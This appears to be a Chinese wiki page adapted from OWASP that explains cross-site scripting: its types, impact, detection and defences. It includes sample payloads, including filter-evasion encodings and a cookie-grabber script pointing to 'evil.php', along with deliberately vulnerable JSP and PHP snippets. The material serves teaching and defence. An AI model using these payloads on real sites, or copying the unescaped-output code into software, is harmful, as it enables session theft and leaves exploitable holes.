首页

来自XSSing
跳转至: 导航搜索
期待您的分享与交流
since 2013


什么是XSS?

概述

XSS全称跨站脚本(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故缩写为XSS,比较合适的方式应该叫做跨站脚本攻击。跨站点脚本(XSS)攻击是一种注射型攻击,攻击者在可信的网页中嵌入恶意代码,用户访问可信网页时触发XSS而被攻击.

攻击者通过Web应用程序发送恶意代码,一般以浏览器脚本的形式发送给不同的终端用户。当一个Web程序的用户输入点没有进行校验和编码,将很容易的导致XSS。

攻击者可以使用XSS发送恶意脚本给没有任何防备的用户。终端用户浏览器无法知道不应该信任叫嗯,而是执行了该脚本。因为它认为脚本来自可信的源,恶意脚本可以访问任何Cookies,会话令牌,或其浏览器和网站保留使用的他敏感信息。这些脚本甚至可以重写HTML页面的内容。更多的内容可以阅读本站其他内容。

详细介绍

跨站脚本攻击在以下情况出现:

  1. Web应用程序通过不可信的来源进行数据输入,最常见是的Web请求(输入,比如如GET访问某Web应用的url,通过参数提交数据,比如提交input=<script>alert(0);</script>)。
  2. 恶意数据包含在动态内容内在没有进行校验的情况下发送给用户(输出,比如提交的input的值在没有校验的情况下,用户访问页面,浏览器直接渲染了input的值执行了JS,导致弹窗)。

发送到Web浏览器的恶意内容通常是以JavaScript代码的形式,当然也可以包括HTML,Flash或任何浏览器可以执行的其他类型的代码。 基于XSS的攻击种类几乎是无限的,但它们通常包括发送隐私数据给攻击者,如cookies或其他会话信息;重定向受害者访问攻击者控制的页面;或者利用网站漏洞在用户机器上执行其他恶意操作。

存储型和反射型XSS攻击

XSS攻击通常可以分为两类:存储型和反射型(也称持久性和非持久性)。还有第三种相对少为认知的XSS攻击类型,叫做DOM XSS,具体可以点击这里阅读。

同时最近还有一种XSS攻击类型被提出来,突变XSS,不过个人觉得突变XSS不合适作为第四种XSS攻击类型,因为这种突变XSS可以出现在以上三种类型的XSS里,不过比较特殊,我们同样也在这里进行单独介绍(Fooying注)。

存储型XSS攻击

存储型攻击是指那些被注入脚本将被永久保存在目标服务器上,比如在数据库中,在消息板块,访客日志,注释字段等。受害人请求存储信息时,将再次检索到恶意脚本(比如,在留言板提交XSS攻击代码,会存储到数据库,当再次访问留言板会请求数据库中的留言信息,就会连同XSS攻击代码一起检索出来在页面展示,使得受害者再次被攻击)。存储型XSS有时也被称为持久性或Type-I XSS。

反射型XSS攻击

反射型攻击是指那些被注入脚本反射出Web服务器,比如在一个错误信息、搜索结果,或者其他任何的包括一些或所有的输入作为请求的一部分发送到服务器的响应。反射型攻击是通过其他途径送达到受害者,比如一封邮件的内容,或者一些其他的网站。当用户被诱骗点击一个恶意链接,提交一个特制的表单,甚至只是浏览到恶意网站,被注入的脚本行进到有漏洞的网站,将攻击反射回用户浏览器。 然后浏览器执行代码,因为它来自于一个“可信”的服务器。反射型XSS有时也被称为非持久性或Type-II XSS.

其他类型的XSS漏洞的

除了反射型和存储型XSS,其他类型的XSS,Amit Klein 在2005年发现DOM XSS。除此之外,推荐关于XSS分类描述的文章:XSS分类,它涵盖了所有这些方面的XSS,组成了矩阵,存储 vs 反射型XSS,以及服务端和客户端XSS,DOM XSS是客户端XSS。

XSS攻击结果

无论是存储型还是反射型(或DOM XSS)的攻击结果都是相同的。不同的是Payload如何有效的到达服务器。不要错误的认为,一个“read only”或“brochureware”网站不容易受到严重的反射型XSS攻击。XSS可以引起终端用户的各种问题,包括不同的严重成都。最严重的XSS攻击涉及用户的会话cookie的披露,使攻击者劫持用户的会话和接管帐户。其他破坏性攻击包括终端用户的文件披露,特洛伊木马程序的安装,将用户重定向到其他网页或网站,或修改内容介绍。XSS漏洞允许攻击者修改新闻稿或新闻项目可以影响一个公司的股票价格或减少消费者的信心。一个药品网站XSS漏洞可能允许攻击者修改剂量信息导致过量。更多关于这些类型的攻击请看 内容欺骗

如何确定存在漏洞

XSS漏洞比较难以识别和从Web应用程序中删除。发现漏洞的最佳方法是进行的代码的安全审计,搜索一个HTTP请求中可能进入HTML输出的所有输入点。值得注意的是,各种不同的HTML标签可以用来发送一个恶意的JavaScript。Nessus, Nikto以及其他的一些扫描器,可以用来扫描检测XSS,不过效果有限。如果一个网站的某部分存在漏洞,那么很有可能还有其他的问题。

如何防范XSS

XSS防御的相关内容位于OWASP XSS防范备忘录.

另外,最主要的是关闭掉你所有Web服务对HTTP回调的支持。攻击者可以窃取cookie数据通过JavaScript,即使document.cookie被禁用或不支持客户端。用户可以在论坛发布一个恶意脚本,当其他人点击链接,异步回调请求就会被触发,用来收集来自服务器的用户的cookie信息,然后发送到另一个接收地址,这样攻击者就可以进行一个会话劫持攻击。关闭掉你所有Web服务对HTTP回调的支持是很容易的。

OWASP ESAPI project已经开发了一套可重用的安全组件。包含多种编程语言,包括验证和转义来防止参数篡改和XSS攻击注射。此外,OWASP WebGoat Project 训练应用,有跨站点脚本和数据编码的训练经验。

XSS语句

属性中使用脚本的XSS

XSS攻击可能在非 <script></script> 标签中发生. 其他标签也可以做同样事,比如:

<body onload=alert('test1')>

或其他属性,如: onmouseover, onerror.

onmouseover

<b onmouseover=alert('Wufff!')>click me!</b>

onerror

<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>
利用XSS脚本通过编码的URI方案

如果我们需要绕过Web应用过滤器,我们可以尝试编码字符串,比如:a=&#X41 (UTF-8),在img标签中使用:

<IMG SRC=j&#X41vascript:alert('test2')>

有许多不同的UTF-8编码符号可以给我们更多的可能性。

XSS利用代码的编码

在META标签,我们可以对我们的脚本进行base64编码,这样就不用输入alert()字符。 这个方法的更多信息参考RFC 2397

<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">

这些以及其他的例子可以在OWASPXSS Filter Evasion Cheat Sheet 查看。这是一个真正的备用XSS攻击代码的百科


例子

跨站点脚本攻击可能发生在任何地方,可能是恶意用户被允许发送非规范内容到一个可信的网站给其他合法用户。最常见的例子发生在网站公告板,提供基于Web的邮件列表的功能

例子 1

The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user. 下面的JSP代码块从一个HTTP请求读取employee ID, eid,并展示给用户。

	<% String eid = request.getParameter("eid"); %> 
	...
	Employee ID: <%= eid %>

The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

例子 2

The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

 
	<%... 
	 Statement stmt = conn.createStatement();
	 ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
	 if (rs != null) {
	  rs.next(); 
	  String name = rs.getString("name");
	%>
	
	Employee Name: <%= name %>

As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser. This type of exploit, known as Stored XSS, is particularly insidious because the indirection caused by the data store makes it more difficult to identify the threat and increases the possibility that the attack will affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

  • As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that may include session information, from the user's machine to the attacker or perform other nefarious activities.
  • As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Stored XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.
  • A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.

攻击示例

Example 1 : Cookie Grabber

If the application doesn't validate the input data, the attacker can easily steal a cookie from an authenticated user. All the attacker has to do is to place the following code in any posted input(ie: message boards, private messages, user profiles):

<SCRIPT type="text/javascript">
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</SCRIPT>

The above code will pass an escaped content of the cookie (according to RFC content must be escaped before sending it via HTTP protocol with GET method) to the evil.php script in "cakemonster" variable. The attacker then checks the results of his evil.php script (a cookie grabber script will usually write the cookie to a file) and use it.

错误页示例

Let's assume that we have an error page, which is handling requests for a non existing pages, a classic 404 error page. We may use the code below as an example to inform user about what specific page is missing:

<html>
<body>

<? php
print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);
?>

</body>
</html>

Let's see how it works:

http://testsite.test/file_which_not_exist

In response we get:

Not found: /file_which_not_exist

Now we will try to force the error page to include our code:

http://testsite.test/<script>alert("TEST");</script>

The result is:

Not found: / (but with JavaScript code <script>alert("TEST");</script>)

We have successfully injected the code, our XSS! What does it mean? For example, that we may use this flaw to try to steal a user's session cookie.


Related Attacks

Related Vulnerabilities

Related Controls

other

How to Avoid Cross-site scripting Vulnerabilities

See the XSS (Cross Site Scripting) Prevention Cheat Sheet

See the DOM based XSS Prevention Cheat Sheet

See the OWASP Development Guide article on Phishing.

See the OWASP Development Guide article on Data Validation.

How to Review Code for Cross-site scripting Vulnerabilities

See the OWASP Code Review Guide article on Reviewing Code for Cross-site scripting Vulnerabilities.

How to Test for Cross-site scripting Vulnerabilities

See the latest OWASP Testing Guide article on how to test for the various kinds of XSS vulnerabilities.

References


引用翻译

引用以下链接内容,部分进行了翻译与修改

Cross-site Scripting (XSS) - OWASP